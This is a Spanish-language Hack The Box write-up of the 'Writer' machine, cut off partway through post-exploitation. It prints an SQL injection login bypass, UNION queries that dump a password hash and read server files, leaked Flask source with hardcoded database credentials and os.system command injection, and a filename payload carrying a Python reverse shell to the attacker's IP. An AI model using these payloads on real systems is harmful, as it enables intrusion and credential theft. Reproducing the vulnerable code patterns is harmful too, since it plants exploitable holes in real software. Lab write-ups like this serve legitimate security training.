This page looks best with JavaScript enabled

Hack The Box - Writer

 •  ✍️ sckull

En Writer encontramos una vulnerabilidad ‘SQL Injection’ que nos permitió obtener el codigo fuente del sitio, para luego realizar ‘Command Injection’ y acceder a la maquina. Credenciales para la base de datos nos dieron acceso a un siguiente usuario. Por medio de Postfish obtuvimos acceso a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo de configuracion para APT.

Nombre Writer box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.101
Maker

TheCyberGeek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.8, 5.8, 4.9, 5.1, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[8, 7, 5, 5, 3],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ssh (22), smb (139, 445).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.91 scan initiated Tue Aug 10 18:06:55 2021 as: nmap -Pn -sV -sC -p22,80,139,445 -oN scans 10.10.11.101
Nmap scan report for 10.10.11.101 (10.10.11.101)
Host is up (0.44s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 17m35s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-08-10T22:24:47
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 10 18:07:18 2021 -- 1 IP address (1 host up) scanned in 23.06 seconds

SMB

Utilizamos crackmapexec para obtener los recursos de SAMBA con una sesion nula, vemos el recurso writer2_project.

1
2
3
4
5
6
7
8
9
 π ~/htb/writer ❯ crackmapexec smb 10.10.11.101 -u '' -p '' --shares
SMB         10.10.11.101    445    WRITER           [*] Windows 6.1 Build 0 (name:WRITER) (domain:) (signing:False) (SMBv1:False)
SMB         10.10.11.101    445    WRITER           [+] \:
SMB         10.10.11.101    445    WRITER           [+] Enumerated shares
SMB         10.10.11.101    445    WRITER           Share           Permissions     Remark
SMB         10.10.11.101    445    WRITER           -----           -----------     ------
SMB         10.10.11.101    445    WRITER           print$                          Printer Drivers
SMB         10.10.11.101    445    WRITER           writer2_project
SMB         10.10.11.101    445    WRITER           IPC$                            IPC Service (writer server (Samba, Ubuntu))

RPC

Utilizamos rpcclient para conectarnos con una sesion nula en el puerto RPC y poder enumerar usuarios, vemos unicamente a kyle.

1
2
3
4
5
6
7
 π ~/htb/writer ❯ rpcclient -U "" -N 10.10.11.101
rpcclient $>
rpcclient $> enumdomusers
user:[kyle] rid:[0x3e8]
rpcclient $> querydispinfo
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle Name: Kyle Travis   Desc:
rpcclient $>

Web Site

Al visitar la pagina vemos que se trata de un blog, donde vemos multiples posts.
image

En cada post vemos un nombre y apellido que podriamos utilizar como usuarios o contraseñas, además, en el footer encontramos un dominio (writer.htb) el cual agregamos a /etc/hosts.
image

Directory Brute Forcing

Realizamos una busqueda de directorios y archivos utilizando feroxbuster.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/writer ❯ feroxbuster -u http://writer.htb/ -w $MD -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://writer.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      110l      347w     4905c http://writer.htb/contact
200       75l      320w     3522c http://writer.htb/about
301        9l       28w      309c http://writer.htb/static
301        9l       28w      314c http://writer.htb/static/blog
301        9l       28w      313c http://writer.htb/static/css
301        9l       28w      318c http://writer.htb/static/blog/css
301        9l       28w      312c http://writer.htb/static/js
301        9l       28w      317c http://writer.htb/static/blog/js
301        9l       28w      316c http://writer.htb/static/vendor
302        4l       24w      208c http://writer.htb/dashboard
301        9l       28w      314c http://writer.htb/static/font
200       35l       99w     1443c http://writer.htb/administrative
403        9l       28w      275c http://writer.htb/server-status

SQL Injection

Bypass Auth - Admin

Encontramos en /administrative un login donde vemos un formulario.
image

Logramos ingresar tras utilizar un payload en el parametro de usuario.

1
admin' or 1=1 -- -

El dashboard es una pagina estatica sin ningun tipo de funcionalidad o formulario.
image

En /stories vemos los posts que se muestran en el index que, además podemos editar y, agregar nuevos.
image

Tras editar un post y capturar la solicitud con burpsuite, vemos que se envia el parametro image_url vacio, ejecutamos netcat en el puerto 80 para ver que tipo de solicitud realiza.
image

Tras ingresar nuestra direccion IP vemos en el User Agent Python-urllib/3.8, probablemente el sitio web este escrito en python.

1
2
3
4
5
6
7
8
 π ~/htb/writer ❯ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.10.00] from writer.htb [10.10.11.101] 53926
GET /x.jpg HTTP/1.1
Accept-Encoding: identity
Host: 10.10.10.10
User-Agent: Python-urllib/3.8
Connection: close

El usuario admin es el unico usuario activo y registrado segun la informacion de /users.
image

Finalmente /settings parece ser una pagina estatica ya que ningun formulario es enviado.
image

SQLMap - Login

Al no poder identificar otra vulnerabilidad dentro de las opciones del dashboard utilizamos SQLMap en el login donde se logró identificar que la base de datos es MySQL, mostró que aparentemente es vulnerable a SQL injection UNION con 6 columnas, sin embargo tras enumerar bases de datos o tablas, el proceso con sqlmap era demasiado lento.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 π ~/htb/writer ❯ sqlmap -r administrative.req --batch --dbs --level 5 --risk 3
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.8#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:05:44 /2021-09-15/

[14:05:44] [INFO] parsing HTTP request from 'administrative.req'
[.. snip ..]
[14:06:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:06:12] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:06:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:06:12] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:06:14] [INFO] target URL appears to be UNION injectable with 6 columns <<<<<<<<<<<===============================
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[14:06:31] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[14:06:31] [INFO] testing 'Generic UNION query (66) - 21 to 40 columns'
[14:06:33] [INFO] testing 'Generic UNION query (66) - 41 to 60 columns'
[14:06:35] [INFO] testing 'Generic UNION query (66) - 61 to 80 columns'
[14:06:37] [INFO] testing 'Generic UNION query (66) - 81 to 100 columns'
[14:06:40] [INFO] testing 'MySQL UNION query (66) - 1 to 20 columns'
[14:06:57] [INFO] testing 'MySQL UNION query (66) - 21 to 40 columns'
[14:07:01] [INFO] testing 'MySQL UNION query (66) - 41 to 60 columns'
[14:07:03] [INFO] testing 'MySQL UNION query (66) - 61 to 80 columns'
[14:07:05] [INFO] testing 'MySQL UNION query (66) - 81 to 100 columns'
[14:07:07] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[14:07:07] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 409 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-7032' OR 7670=7670-- RzJC&password=pass

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=user' AND (SELECT 7890 FROM (SELECT(SLEEP(5)))sHvz)-- MhVu&password=pass
---
[14:07:13] [INFO] the back-end DBMS is MySQL
[14:07:14] [WARNING] reflective value(s) found and filtering out
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
web server operating system: Linux Ubuntu 19.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (TiDB fork)
[.. snip ..]

SQL Injection Union

Manualmente iniciamos buscando el numero de columnas con ORDER BY, utilizando repeater de burpsuite, logramos obtener una respuesta diferente luego de la columna 6, la misma cantidad que SQLMap mostró, y con ello encontramos que en la segunda columna existe la posiblidad de obtener datos.
image

Mediante distintos querys logramos obtener informacion: Bases de datos, Tablas, Columnas e informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Version
# ' union select 1,@@version,3,4,5,6 -- -
10.3.29-MariaDB-0ubuntu0.20.04.1

# User
# ' union select 1,user(),3,4,5,6-- -
admin@localhost
# ' union select 1,system_user(),3,4,5,6-- -
admin@localhost

# Bases de Datos
# ' union select 1,group_concat(schema_name SEPARATOR ', '),3,4,5,6 from information_schema.schemata-- -
information_schema, writer

# Tablas - Writer DB
# ' union select 1,group_concat(table_name SEPARATOR ', '),3,4,5,6 from information_schema.tables where table_type = 'BASE TABLE'-- -
site, stories, users

# Columnas
# -> users
# ' union select 1,group_concat(column_name SEPARATOR ', '),3,4,5,6 from information_schema.columns where table_name = 'users'-- -
id, username, password, email, status, date_created

# -> stories
id, author, title, tagline, content, status, date, image

# -> site
id, title, description, logo, favicon, ganalytics

# users -> Data -> Cantidad de Filas
# ' union select 1,count(*),3,4,5,6 from users-- -
1

# users -> Data
# ' union select 1,group_concat(username,password,email),3,4,5,6 from users-- -
admin 118e48794631a9612484ca8b55f622d0 admin@writer.htb

En la Tabla users encontramos el hash de admin, pero no encontramos la contraseña en algun diccionario. Enumerando los privielgios vemos FILE para el usuario admin, lo que permite que el usuario lea y escriba archivos.

1
2
3
# Privilegios
# ' union select 1,group_concat(privilege_type SEPARATOR ', '),3,4,5,6 FROM information_schema.user_privileges where grantee = "'admin'@'localhost'"-- -
FILE

Cargando el archivo /etc/passwd vemos el contenido completo.
image

Files

Utilizamos un pequeño wordlist (omitiendo payloads codificados) con una lista de direcciones de archivos los cuales podrian darnos informacion, con Intruder de Burpsuite. Descubrimos la configuracion de apache.
image

Se muestra el directorio y el archivo WSGI.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

[... REDACTED ...]

WSGI importa el archivo __init__.py desde writer/ en /var/www/writer.htb/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

Tras obtener __init__.py, vemos el codigo fuente del sitio web, aparecen las credenciales de la conexion a la base de datos y las diferentes rutas.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return ("Something is wrong with your db user name or password!")
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return ("Database does not exist")
        else:
            return ("Another exception, returning!")
    else:
        print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
        return redirect('/')
    return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')

@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
                cursor = connector.cursor()
                cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')

    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('edit.html', results=results, id=id)

@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('delete.html', results=results, id=id)

#Define user page for dashboard
@app.route('/dashboard/users')
def users():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM users;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('users.html', results=results)

#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error!"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM site WHERE id = 1"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('settings.html', results=results)

#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
    if ('user' in session):
        return redirect('/dashboard')
    if request.method == "POST":
        username = request.form.get('uname')
        password = request.form.get('password')
        password = hashlib.md5(password.encode('utf-8')).hexdigest()
        try:
            connector = connections()
        except mysql.connector.Error as err:
            return ("Database error")
        try:
            cursor = connector.cursor()
            sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print("Got result")
            if result and len(result) != 0:
                session['user'] = username
                return render_template('success.html', results=results)
            else:
                error = "Incorrect credentials supplied"
                return render_template('login.html', error=error)
        except:
            error = "Incorrect credentials supplied"
            return render_template('login.html', error=error)
    else:
        return render_template('login.html')

@app.route("/logout")
def logout():
    if not ('user' in session):
        return redirect('/')
    session.pop('user')
    return redirect('/')

if __name__ == '__main__':
   app.run("0.0.0.0")

Command Injection

En Bypass Auth - Admin encontramos en los headers la version de Urllib (Python-urllib/3.8), en el codigo fuente vemos que utiliza la funcion urlretrieve() para descargar una imagen desde una url en este caso el valor image_url (valor que era enviado vacio), seguidamente vemos que se ejecuta un comando del sistema para cambiar el nombre al archivo utilizando mv donde podriamos injectar codigo ya que toma el nombre completo del archivo, tambien, al mover la imagen al directorio de imagenes (img/) vuelve a cambiar el nombre por lo que tambien volvería a ejecutar un comando si el nombre del archivo contiene uno (comando).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
[... REDACTED ...]

if request.form.get('image_url'):
    image_url = request.form.get('image_url')
    if ".jpg" in image_url:
        try:
            local_filename, headers = urllib.request.urlretrieve(image_url)
            os.system("mv {} {}.jpg".format(local_filename, local_filename))
            image = "{}.jpg".format(local_filename)
            try:
                im = Image.open(image) 
                im.verify()
                im.close()
                image = image.replace('/tmp/','')
                os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                image = "/img/{}".format(image)
                cursor = connector.cursor()
                cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()

    [... REDACTED ...]

Sin embargo al enviar una imagen dentro de la maquina se crea un archivo temporal con un nombre aleatorio (/tmp/tmpxxxxxxx) por lo que enviar una imagen como URL http no funciona. En la documentacion de urllib - 3.8 menciona:

Si la URL apunta a un archivo local, el objeto no será copiado a no ser que sea suministrado un nombre de archivo.

Es decir si se pasa como parametro file:///path/to/img.jpg no creará un archivo temporal como lo hace con una url, si no directamente pasaría a cambiar el nombre del archivo. Para ello vemos que al subir una imagen cuando se edita un post (/dashboard/stories/edit/) se guarda en el directorio de imagenes sin ningun cambio al nombre del archivo, además, el directorio completo se muestra en el codigo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[... REDACTED ...]
if request.files['image']:
    image = request.files['image']
    if ".jpg" in image.filename:
        path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
        image.save(path)
        image = "/img/{}".format(image.filename)
        cursor = connector.cursor()
        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
        result = connector.commit()

[... REDACTED ...]

Simple Ping

Con esto ultimo seguimos algunos pasos para inyectar comandos:

  • Cambiar el nombre de una imagen ingresando un comando: img.jpg;ping -c 3 10.10.10.10;
  • Subir la imagen en la edicion de una storie (/dashboard/stories/edit/) y confirmamos que la imagen fue subida.
    image
  • Enviar el path completo del archivo localmente (file:///path/to/img.jpg) en la edicion de stories.
    image
  • Finalmente debería de ejecutarse el comando, en este caso tendríamos un ping a nuestra maquina, tal y como se muestra a continuación.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/writer ❯ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:40:48.807916 IP writer.htb > 10.10.10.10: ICMP echo request, id 3, seq 1, length 64
13:40:48.807941 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 3, seq 1, length 64
13:40:49.837626 IP writer.htb > 10.10.10.10: ICMP echo request, id 3, seq 2, length 64
13:40:49.837674 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 3, seq 2, length 64
13:40:50.856927 IP writer.htb > 10.10.10.10: ICMP echo request, id 3, seq 3, length 64
13:40:50.856956 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 3, seq 3, length 64
13:40:51.273306 IP writer.htb > 10.10.10.10: ICMP echo request, id 4, seq 1, length 64
13:40:51.273354 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 4, seq 1, length 64
13:40:52.189992 IP writer.htb > 10.10.10.10: ICMP echo request, id 4, seq 2, length 64
13:40:52.190032 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 4, seq 2, length 64
13:40:53.110992 IP writer.htb > 10.10.10.10: ICMP echo request, id 4, seq 3, length 64
13:40:53.111020 IP 10.10.10.10 > writer.htb: ICMP echo reply, id 4, seq 3, length 64

User - www-data

Como sabemos es posible ejecutar comandos, esta vez cambiamos el nombre del archivo con una shell inversa y realizando nuevamente lo anterior.

1
img.jpg;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["sh","-i"]);';

Con ello logramos obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/writer ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.10.10] from writer.htb [10.10.11.101] 38774
sh: 0: can't access tty; job control turned off
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@writer:/$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
www-data@writer:/$

Django App

Tras realizar una enumeracion encontramos una app de Django donde vemos en la configuracion de la base de datos el archivo de MySQL, al revisar este archivo encontramos las credenciales para la base de datos dev utilizada por esta aplicacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
www-data@writer:/var/www/writer2_project$ ls -lah
total 32K
drwxrws--- 6 www-data smbgroup 4.0K Aug  2 06:52 .
drwxr-xr-x 5 root     root     4.0K Jun 22 17:55 ..
-r-xr-sr-x 1 www-data smbgroup  806 Sep 16 18:32 manage.py
-r-xr-sr-x 1 www-data smbgroup   15 Sep 16 18:32 requirements.txt
dr-xr-sr-x 3 www-data smbgroup 4.0K May 16 20:29 static
dr-xr-sr-x 4 www-data smbgroup 4.0K Jul  9 10:59 staticfiles
dr-xr-sr-x 4 www-data smbgroup 4.0K May 19 15:26 writer_web
dr-xr-sr-x 3 www-data smbgroup 4.0K May 19 12:32 writerv2
www-data@writer:/var/www/writer2_project$ cat manage.py
#!/usr/bin/env python
import os
import sys

if __name__ == "__main__":
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "writerv2.settings")
    try:
        from django.core.management import execute_from_command_line
    except ImportError:
        # The above import may fail for some other reason. Ensure that the
        # issue is really that Django is missing to avoid masking other
        # exceptions on Python 2.
        try:
            import django
        except ImportError:
            raise ImportError(
